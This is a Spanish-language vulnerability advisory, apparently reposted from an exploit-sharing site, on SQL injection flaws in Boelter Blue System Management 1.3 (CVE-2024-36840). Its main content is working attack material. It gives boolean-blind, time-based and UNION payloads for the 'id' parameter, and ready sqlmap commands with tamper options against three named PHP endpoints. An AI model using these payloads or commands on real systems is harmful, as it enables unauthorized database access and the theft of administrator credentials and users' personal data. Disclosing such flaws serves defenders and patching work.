Se han identificado múltiples vulnerabilidades de Inyección SQL en Boelter Blue System Management (versión 1.3). Estas vulnerabilidades permiten a los atacantes inyectar y ejecutar comandos SQL arbitrarios a través de varios parámetros. La explotación exitosa puede resultar en acceso no autorizado, exfiltración de datos y posibles tomas de control de cuentas.

Parámetros Afectados y Detalles del Exploit:

1. Parámetro: id (GET)

   • Tipo: Ciego basado en booleano
   • Payload: id=10071 AND 4036=4036

2. Tipo: Ciego basado en tiempo

   • Payload: id=10071 AND (SELECT 4443 FROM (SELECT(SLEEP(5)))LjOd)

3. Tipo: Consulta UNION

   • Payload: id=-5819 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7170766b71,0x646655514b72686177544968656d6e414e4678595a666f77447a57515750476751524f5941496b55,0x7162626a71),NULL,...

Endpoints Vulnerables

1. news_details.php?id

   • Ejemplo: https://www.example.com/news_details.php?id=10071
   • Explotación:
     root@kitploit:~

     sqlmap -u "https://www.example.com/news_details.php?id=10071" --random-agent --dbms=mysql --threads=4 --dbs
     

2. services.php?section

   • Ejemplo: https://www.example.com/services.php?section=5081
   • Explotación:
     root@kitploit:~

     sqlmap -u "https://www.example.com/services.php?section=5081" --random-agent --tamper=space2comment --threads=8 --dbs
     

3. location_details.php?id

   • Ejemplo: https://www.example.com/location_details.php?id=836
   • Explotación:
     root@kitploit:~

     sqlmap -u "https://www.example.com/location_details.php?id=836" --random-agent --dbms=mysql --dbs
     

Impacto

• Acceso No Autorizado a la Base de Datos: La explotación puede conducir a un acceso no autorizado a la base de datos, permitiendo a los atacantes extraer información sensible.
• Fuga de Datos: Datos sensibles como credenciales de administrador, PII de usuarios e historial de compras pueden verse comprometidos.
• Toma de Control de Cuentas: Los atacantes pueden potencialmente tomar el control de cuentas de usuarios.
• Control Total: Se puede lograr el control total sobre la aplicación afectada, lo que conlleva graves implicaciones de seguridad.

Créditos

• Descubridores: CBKB (DeadlyData, R4d1x)

Referencias

• Informe de Vulnerabilidad de CyberDepot
• CVE-2024-36840